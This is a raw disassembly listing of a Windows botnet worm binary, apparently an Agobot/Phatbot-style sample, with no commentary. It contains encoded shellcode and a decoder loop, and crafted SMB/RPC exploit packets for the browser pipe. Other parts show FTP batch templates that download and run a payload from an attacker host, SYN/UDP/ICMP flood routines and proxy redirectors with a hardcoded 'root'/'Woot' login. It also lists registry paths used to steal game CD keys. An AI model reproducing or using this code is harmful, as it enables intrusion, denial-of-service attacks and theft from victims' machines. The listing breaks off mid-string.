0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh word_445ED0 dw 4B9Dh ; DATA XREF: sub_4257F0+105w dw 59AAh dd 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh, 66CAC9C9h dd 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h, 10627B17h dd 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h, 0AACFC989h dd 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h, 0C8C9A5DEh dd 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h, 591C3559h dd 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66677671h dd 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh dd 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h, 0F8FCEBF1h dd 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h, 0AAC6ABEAh dd 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h, 0F0F599FDh dd 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh, 0FAF6EAFCh dd 99EDFCF2h, 0 dword_445FB8 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: ___:00425E52o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_446044 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:00425E87o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 10h dword_4460F0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:00425EB6o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_4461D0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+5Do dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h db 43h, 0, 24h dword_446227 dd 3F000000h dword_44622B dd 3F3F3F3Fh byte_44622F db 0 ; DATA XREF: sub_4257F0+B4r dd 0 dword_446234 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+2C2o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_4462A0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+2F5o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_446344 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+3FAo dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_4463C4 dd offset sub_401492+3 ; DATA XREF: sub_4257F0+42Bo dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset byte_406FB0+0CCh dd 1, 0 dd 1, 0 dd offset byte_406FB0+0CCh dd 1, 0 dd 1, 0 dd offset byte_406FB0+0CCh dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_446458 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+335o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_4464C4 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+368o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_446538 dd 0 dd offset loc_40A898+2 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A898+2 dd 1, 0 dd 1, 0 dd offset loc_40A898+2 dd 1, 0 dd 1, 0 dd offset loc_40A898+2 dd 1, 0 dd 1, 3 dup(0) dword_4465C4 dd 1004600h ; sub_4257F0+24Fr dd 1, 7515123Ch, 2, 751C123Ch, 75h dup(0) dword_4467AC dd 61622E63h, 0A0D74h, 0aEchoExitYC_bat db 'echo exit /y >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+2A0o align 10h dd 0 aEchoDelFC_batC db 'echo del /F c.bat >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+277o dd 2 dup(0) aEchoDel_pifC_b db 'echo del .pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+24Eo dd 0 aEchoSC_bat db 'echo %s >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+221o align 4 dd 0 aEchoFtpNVS_pif db 'echo ftp -n -v -s:.pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1E9o align 10h dd 0 aEcho@echoOffC_ db 'echo @echo off >c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1BCo align 10h aEchoBye_pif db 'echo bye>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+18Fo align 8 aEchoGetS_pif db 'echo GET %s>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+162o align 10h dd 0 aEchoBinary_pif db 'echo binary>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+12Ao align 10h aEchoUserAA_pif db 'echo user a a>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+FDo align 4 dd 0 aEchoOpenSD_pif db 'echo open %s %d>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+D0o align 8 dword_4468F8 dd 6EB06EBh align 10h dword_446900 dd 73255C5Ch, 6370695Ch, 24h ; ___:00426352o dword_44690C dd 1CEC8166h dword_446910 dd 0E4FF07h align 8 dword_446918 dd 30B0005h, 10h, 48h, 0 dd 16D016D0h, 0 dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_446964 dd 3000005h, 10h, 830h, 0 dd 818h, 1F0000h, 0FFFFFFFFh, 1, 0 dd 1, 2 dup(0) dword_446994 dd 0FAh, 2, 0 dd 2, 0 dd 0FAh, 2 dup(0) dword_4469B4 dd 0D959516Ah, 2474D9EEh db 0F4h, 5Bh ; --------------------------------------------------------------------------- loc_4469BE: ; CODE XREF: ___:004469C8j xor dword ptr [ebx+13h], 889097A8h sub ebx, 0FFFFFFFCh loop loc_4469BE sub [ebx+6Fh], edx db 67h push edi push 7CC274D4h frstor byte ptr [eax+51h] push 1CC8776Fh cld lodsb mov word ptr ds:95EB23B4h[edx*8], ds ; --------------------------------------------------------------------------- db 0F0h, 0A9h, 78h dd 1CB0C71Bh, 7CA9A8CFh, 1C9C03D9h, 57996691h, 572C2409h dd 5D698FE4h, 7C6A899Dh, 0B3FCB364h, 1C4DFDB8h, 7CA9ACCFh dd 0DCA403F6h, 96B4D71Bh, 1C848B7Bh, 8B8CE419h, 4C994BF1h dd 0A7EB03F4h, 1CA4C81Bh, 1C0594E0h, 0FFF680D0h, 7BA6C61Eh dd 0F17E77C0h, 0A4C0EEC3h, 0E4DFE0A2h, 68FCD7A2h, 7A63E040h dd 68F8B36Ch, 7221D746h, 9F4509F6h, 95C2DD92h, 4EC0586Fh dd 0C0057D99h, 0C4FB5E6Fh, 0D4FBDBC3h, 68FBCBC3h, 86C0EE40h dd 1EFBEECCh, 33C01D71h, 0C06FF88Ah, 87C25E6Fh, 4757DDC1h dd 0B9052CF8h, 4157DF79h, 4757DDC3h, 11E16DF8h, 4157DFD9h dd 0C2FCDCC0h, 0FF3B586Fh, 0EE6EF177h, 0C27E77C7h, 0FDCE586Fh dd 0F4C0EEF4h, 0FD4D01FDh, 5B81D1C0h, 0D3C26F19h, 57996A19h dd 0D5562263h, 0BBEA76BDh, 0AFD20503h, 0FF03233Bh, 811B76E2h dd 68ECFD6Fh, 0C5FFD346h, 0FDF9D9C1h, 0C2F9D991h, 0FF7877C1h dd 59AD513Dh, 0FD7E77C3h, 689F776Fh, 6BFF0340h, 68CC4C13h dd 4757DA46h, 776667F8h, 4157DBF0h, 586Fh, 19h dup(0) aOpenSDIiEchoUs db 'open %s %d >> ii &echo user a a >> ii &echo binary >> ii &echo ge' ; DATA XREF: sub_426070+D6o db 't %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 align 10h dd 6 dup(0) aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:004263B4o align 10h word_446C20 dw 2EBh ; DATA XREF: ___:00426331r align 4 dword_446C24 dd 215h dd 0 dword_446C2C dd 20804h dd 0 ; --------------------------------------------------------------------------- loc_446C34: ; DATA XREF: sub_4267D0+CCo jmp short loc_446C38 ; --------------------------------------------------------------------------- loc_446C36: ; CODE XREF: ___:loc_446C38p jmp short loc_446C3D ; --------------------------------------------------------------------------- loc_446C38: ; CODE XREF: ___:loc_446C34j call loc_446C36 loc_446C3D: ; CODE XREF: ___:loc_446C36j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_446C42 dw 0FFFFh ; DATA XREF: sub_4267D0+D3w db 80h, 73h, 0Eh byte_446C47 db 0FFh ; DATA XREF: sub_4267D0+DAw dd 0F9E243h ; --------------------------------------------------------------------------- loc_446C4C: ; DATA XREF: sub_4267D0+A7o jmp short loc_446C50 ; --------------------------------------------------------------------------- loc_446C4E: ; CODE XREF: ___:loc_446C50p jmp short loc_446C55 ; --------------------------------------------------------------------------- loc_446C50: ; CODE XREF: ___:loc_446C4Cj call loc_446C4E loc_446C55: ; CODE XREF: ___:loc_446C4Ej pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_446C59 db 0FFh ; DATA XREF: sub_4267D0+AEw dw 7380h db 0Ch byte_446C5D db 0FFh ; DATA XREF: sub_4267D0+B4w dw 0E243h dd 0F9h dword_446C64 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_426560+43o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_446CC8 dd 12h dd 70746674h, 6578652Eh, 20692D20h dword_446CD8 dd 74656720h byte_446CDC db 20h ; DATA XREF: sub_426560+A2r dword_446CDD dd 0E8006A00h dword_446CE1 dd 17h ; sub_426560+D2r dword_446CE5 dd 0E8C30175h dword_446CE9 dd 1 ; sub_426560+E7r byte_446CED db 0, 6Ah, 0 ; DATA XREF: sub_426560+110o dd 7E8h db 0, 0Fh, 84h dword_446CF7 dd 0FFFFFFEDh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi ; free add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 4 dd 0Ch dup(0) aPing db 'ping',0 ; DATA XREF: sub_427740+22o align 10h aSCannotSendPin db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0 ; DATA XREF: sub_427990+D0o align 4 dd 2 dup(0) aSFinishedFlood db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_427990+B4o align 10h aSSUtimesUbytes db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_427990+43o align 10h dd 0 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_427B10+38o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_427B10+2Bo align 8 aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_427B10+23o align 4 dd 0 aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: sub_427B10+Co align 4 aForsyn db 'forsyn',0 ; DATA XREF: sub_427C90+22o align 10h aSAttack@SDDone db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_427D50+195o align 4 dd 0 aSErrorCreating db '%s: error creating threads',0 ; DATA XREF: sub_427D50+143o align 4 dd 0 aSSUDseconds db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_427D50+D3o align 8 aSyn db 'syn',0 ; DATA XREF: sub_4281A0+22o aSSDIkbSec db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:00428321o align 8 aSSUUsecDms db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_428260+43o align 10h dd 0 aUdp db 'udp',0 ; DATA XREF: sub_428880+22o aSSDDone db '%s: %s:%d done',0 ; DATA XREF: sub_428940+C0o align 4 dd 0 aSSUUtUbDms db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_428940+47o align 4 dd 0 off_446EFC dd offset byte_455247 ; DATA XREF: sub_4290B0+22o aSFinishedRedir db '[%s] Finished redirect from "%s" to "%s" over "%s".',0 ; DATA XREF: sub_429330+AAo align 10h aSStartedRedire db '[%s] Started redirect from "%s" to "%s" over "%s".',0 ; DATA XREF: sub_429330+33o align 10h aHttp1_0503Se_0 db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A6B1o db 'Server: IIS/5.03',0Dh,0Ah db 'Content-Type: text/html',0Dh,0Ah db 'Proxy-Connection: close',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db 'Connection to %s:%d has failed',0Ah,0 align 4 dd 7 dup(0) aHttp1_0503Serv db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A64Co db 'Server: IIS/5.03',0Dh,0Ah db 'Content-Type: text/html',0Dh,0Ah db 'Proxy-Connection: close',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db 'Error Resolving %s',0Ah,0 align 4 dd 6 dup(0) aHttp1_0200Conn db 'HTTP/1.0 200 Connection established',0Dh,0Ah ; DATA XREF: ___:0042A2C2o db 0Dh,0Ah,0 align 10h aConnectionClos db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: ___:loc_42A131o ; ___:0042A147o align 8 aConnectionKeep db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: ___:0042A113o ; ___:0042A129o align 8 aConnection db 'Connection:',0 ; DATA XREF: ___:00429F54o align 8 aChunked db 'chunked',0 ; DATA XREF: ___:00429F11o dd 0 aTransferEncodi db 'Transfer-Encoding:',0 ; DATA XREF: ___:00429EC5o align 4 dd 0 aContentLength db 'Content-Length:',0 ; DATA XREF: ___:00429E2Do align 10h aSSSConnectionC db '%s %s %s',0Dh,0Ah ; DATA XREF: ___:00429C8Eo db 'Connection: close',0Dh,0Ah db '%s',0 dd 2 dup(0) aSSSConnectionK db '%s %s %s',0Dh,0Ah ; DATA XREF: ___:00429C59o db 'Connection: Keep-Alive',0Dh,0Ah db '%s',0 align 10h dd 0 aKeepAlive db 'Keep-Alive',0 ; DATA XREF: ___:loc_429B5Bo ; ___:00429FA0o align 10h dd 0 aProxyConnectio db 'Proxy-Connection:',0 ; DATA XREF: ___:00429B30o align 4 dd 0 asc_4471EC db 0Dh,0Ah,0 ; DATA XREF: ___:00429A1Co ; ___:00429ADCo ... align 10h aHttprox db 'HTTPROX',0 ; DATA XREF: ___:004299E7o dd 0 aConnect db 'connect',0 ; DATA XREF: ___:004297B2o align 8 aConnect_0 db 'CONNECT',0 ; DATA XREF: ___:0042977Do dd 0 off_447214 dd offset byte_544547 ; DATA XREF: ___:004296B8o aHttp_0 db 'HTTP',0 ; DATA XREF: sub_42ACB0+22o align 10h aSUnloadedProxy db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_42AF20+69o dd 2 dup(0) aSStartingPro_0 db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_42AF20+2Eo align 10h aSStartingProxy db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_42AF20+21o dd 2 dup(0) aSocks4 db 'Socks4',0 ; DATA XREF: sub_42AFF0+22o ; sub_42B380+22o align 4 aSUnloadedPro_0 db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42B440+1E1o align 10h dd 0 aSStartingSocks db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42B440+2Co align 4 dd 2 dup(0) dword_4472F4 dd 1000005h, 0 dword_4472FC dd 5, 205h aSFinishedRed_0 db '[%s] Finished redirecting from port %d to "%s:%d".',0 ; DATA XREF: sub_42CB70+20Fo align 4 dd 3 dup(0) aSRedirectingFr db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0 ; DATA XREF: sub_42CB70+3Fo align 10h dd 2 dup(0) aSocks5Starting db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0 ; DATA XREF: ___:0042D725o dd 3 dup(0) aRoot db 'root',0 ; DATA XREF: ___:0042D6B1o align 4 dd offset aWoot ; "Woot" aWoot db 'Woot',0 ; DATA XREF: ___:004473C4o align 10h aNetworkFailedT db 'Network failed to start: %d',0Ah,0 align 10h dd 0 aCalloc db 'calloc',0 align 4 aSetsockopt db 'setsockopt',0 align 4 dd 0 aSocket db 'socket',0 align 4 aGethostbyname db 'gethostbyname',0 align 4 aGetservbyname db 'getservbyname',0 align 4 aTcp db 'tcp',0 ; DATA XREF: sub_42DB00+49o ; sub_42DB00:loc_42DBBDo aControlSocketR db 'Control socket read failed',0 ; DATA XREF: sub_42DE00:loc_42DE22o align 8 aRead db 'read',0 ; DATA XREF: sub_42DF40:loc_42E0DCo align 10h aPassS db 'PASS %s',0 ; DATA XREF: sub_42E3C0+72o dd 0 aUserS db 'USER %s',0 ; DATA XREF: sub_42E3C0+3Do align 8 aWrite db 'write',0 align 10h aS_0 db '%s',0Ah,0 ; DATA XREF: sub_42E490+3Do aInvalidOpenTyp db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42E5B0+203o align 10h dword_4474A0 dd 524F5453h byte_4474A4 db 0 ; DATA XREF: sub_42E5B0+EDr align 4 dword_4474A8 dd 52544552h byte_4474AC db 0 ; DATA XREF: sub_42E5B0+D3r align 10h dword_4474B0 dd 5453494Ch byte_4474B4 db 0 ; DATA XREF: sub_42E5B0+B8r align 4 dword_4474B8 dd 54534C4Eh byte_4474BC db 0 ; DATA XREF: sub_42E5B0+9Er align 10h dword_4474C0 dd 45505954h, 632520h, 0 ; ___:0042F9BAo aMissingPathArg db 'Missing path argument for file transfer',0Ah,0 ; DATA XREF: sub_42E5B0+2Do align 10h aPortDDDDDD db 'PORT %d,%d,%d,%d,%d,%d',0 align 4 dd 0 aListen db 'listen',0 align 4 aBind db 'bind',0 align 4 aGetsockname db 'getsockname',0 dd 0 aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42E870+10Eo align 10h dd 0 aPasv db 'PASV',0 ; DATA XREF: sub_42E870+B4o align 4 aInvalidModeC db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42E870+77o align 10h aInvalidDirecti db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42E870+45o align 4 dd 0 aTimedOutWaitin db 'timed out waiting for connection',0 align 10h dd 0 aNet_write3Retu db 'net_write(3) returned %d, errno = %d',0Ah,0 align 4 dd 2 dup(0) aNet_write2Retu db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+FBo align 4 dd 2 dup(0) aNet_write1Retu db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+DBo align 4 dd 2 dup(0) aSiteS db 'SITE %s',0 ; DATA XREF: ___:0042F3CEo align 10h aSyst db 'SYST',0 ; DATA XREF: ___:0042F42Do align 4 aMkdS db 'MKD %s',0 ; DATA XREF: ___:0042F4BEo align 10h aCwdS db 'CWD %s',0 ; DATA XREF: ___:0042F53Eo align 4 aCdup db 'CDUP',0 ; DATA XREF: ___:0042F597o align 10h aRmdS db 'RMD %s',0 ; DATA XREF: ___:0042F5EEo align 4 off_447678 dd offset dword_445750 ; DATA XREF: ___:0042F64Do aLocalfileWrite db 'localfile write',0 ; DATA XREF: sub_42F6F0:loc_42F871o align 10h aShortWritePass db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42F6F0+125o align 8 word_4476B8 dw 77h ; DATA XREF: sub_42F6F0+1Fr align 4 dword_4476BC dd 25206425h, 64hdword_4476C4 dd 455A4953h, 732520h, 0dword_4476D0 dd 4D54444Dh, 732520h, 0dword_4476DC dd 4F544E52h, 732520h, 0dword_4476E8 dd 52464E52h, 732520h, 0dword_4476F4 dd 454C4544h, 732520h, 0aQuit db 'QUIT',0 ; DATA XREF: sub_42FD30+10o align 4 dword_447708 dd 1 ; sub_431750+1Fw ... aInterlockedcom db 'InterlockedCompareExchange',0 ; DATA XREF: sub_432570+13o align 4 dd 0 aKernel32_dll db 'KERNEL32.DLL',0 ; DATA XREF: sub_432570+6o align 4 aA: ; DATA XREF: sub_434D10+36o unicode 0, <€>,0 dd 12h dup(0) dd offset aBattlefield194 ; "[Battlefield 1942: " dd 80000002h, 44885Ch, 448F30h, 448828h, 80000002h, 4487C8h dd 448F30h, 448798h, 80000002h, 448740h, 448F30h, 44871Ch dd 80000002h, 4486D4h, 448F30h, 4486BCh, 80000002h, 448678h dd 448F30h, 448650h, 80000002h, 448614h, 448F30h, 4485E0h dd 80000002h, 448580h, 448F30h, 448554h, 80000002h, 448530h dd 448528h, 4484FCh, 80000002h, 4484D4h, 448528h, 4484BCh dd 80000001h, 44848Ch, 448488h, 448478h, 80000002h, 44843Ch dd 448F30h, 44842Ch, 80000002h, 4483F0h, 448F30h, 4483DCh dd 80000002h, 448394h, 448F30h, 448378h, 80000002h, 448334h dd 448F30h, 448318h, 80000001h, 4482F0h, 448488h, 4482E0h dd 80000001h, 4482B8h, 448488h, 448298h, 80000002h, 44825Ch dd 448258h, 44823Ch, 80000002h, 448218h, 448210h, 4481F8h dd 80000001h, 4481CCh, 4481C4h, 4481A0h, 80000002h, 448154h dd 448F30h, 44812Ch, 80000002h, 4480D8h, 448F30h, 4480A0h dd 80000002h, 44803Ch, 448F30h, 448008h, 80000002h, 447FA8h dd 448F30h, 447F8Ch, 80000002h, 447F44h, 448F30h, 447F28h dd 80000002h, 447EE0h, 448F30h, 447ED0h, 80000002h, 447E94h dd 448F30h, 447E84h, 80000002h, 447E48h, 448F30h, 447E20h dd 80000002h, 447DCCh, 448F30h, 447DA4h, 80000002h, 447D54h dd 448F30h, 447D38h, 80000002h, 447D10h, 448488h, 447CFCh dd 80000002h, 447CC4h, 448F30h, 447C94h, 80000002h, 447C3Ch dd 448F30h, 447C20h, 80000001h, 447BD0h, 447BC8h, 447BACh dd 80000002h, 447B68h, 447B5Ch, 447B44h, 80000001h, 447B14h dd 447B08h, 447AE8h, 80000002h, 447AACh, 447BC8h, 447A8Ch dd 80000002h, 447A50h, 447BC8h, 1Eh dup(0) aSoftwareUnreal db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0 align 4 dd 2 dup(0) aUnrealTourname db '[Unreal Tournament 2004: ',0 align 4 dd 0 aSoftwareUnre_0 db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0 align 10h dd 2 dup(0) aUnrealTourna_0 db '[Unreal Tournament 2003: ',0 align 8 aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 dd 2 dup(0) aTheGladiators db '[The Gladiators: ',0 align 4 dd 0 aSof2key db 'sof2key',0 align 8 aSoftwareActivi db 'Software\Activision\Soldier of Fortune II - Double Helix',0 align 4 dd 2 dup(0) aSoldierOfFortu db '[Soldier Of Fortune 2: ',0 align 8 aCdkey db 'CDKey',0 align 10h aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 10h aSoldiersOfAnar db '[Soldiers Of Anarchy: ',0 align 4 dd 0 aSoftwareElectr db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit' db 'ion\ergc',0 align 4 dd 3 dup(0) aShogunTotalWar db '[Shogun: Total War: Warlord Edition: ',0 align 4 dd 2 dup(0) aSoftwareRedSto db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0 align 4 dd 2 dup(0) dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 8 aNeverwinterNig db '[Neverwinter Nights: ',0 align 10h dd 0 aSoftwareElec_0 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc' db 0 align 4 dd 3 dup(0) aNeedForSpeedUn db '[Need For Speed: Underground: ',0 align 4 dd 2 dup(0) aSoftwareElec_1 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er' db 'gc',0 dd 4 dup(0) aNeedForSpeedHo db '[Need For Speed: Hot Pursuit 2: ',0 align 8 aSoftwareElec_2 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 dd 2 dup(0) dd 4C484E5Bh, 30303220h, 203A33h, 0 aSoftwareElec_3 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 10h aNhl2002 db '[NHL 2002: ',0 align 10h aSoftwareElec_4 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 4 dd 3 dup(0) aNascarRacing20 db '[Nascar Racing 2003: ',0 align 10h dd 0 aSoftwareElec_5 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 10h dd 3 dup(0) aNascarRacing_0 db '[Nascar Racing 2002: ',0 align 8 aSoftwareElec_6 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S' db 'pearhead\ergc',0 align 4 dd 4 dup(0) aMedalOfHonorAl db '[Medal of Honor: Allied Assault: Spearhead ',0 dd 2 dup(0) aSoftwareElec_7 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B' db 'reakthrough\ergc',0 align 10h dd 4 dup(0) aMedalOfHonor_0 db '[Medal of Honor: Allied Assault: Breakthrough ',0 align 10h dd 2 dup(0) aSoftwareElec_8 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e' db 'rgc',0 align 10h dd 3 dup(0) aMedalOfHonor_1 db '[Medal of Honor: Allied Assault: ',0 align 10h dd 0 aSoftwareElec_9 db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 align 10h aJamesBond007Ni db '[James Bond 007: Nightfire: ',0 align 10h dd 0 aPrvkey db 'prvkey',0 align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 10h dd 2 dup(0) aIndustryGiant2 db '[Industry Giant 2: ',0 align 10h aCdkey_0 db 'CDkey',0 align 4 aSoftwareIgi2Re db 'SOFTWARE\IGI 2 Retail\CDKey',0 dd 2 dup(0) aIgi2CovertStri db '[IGI2: Covert 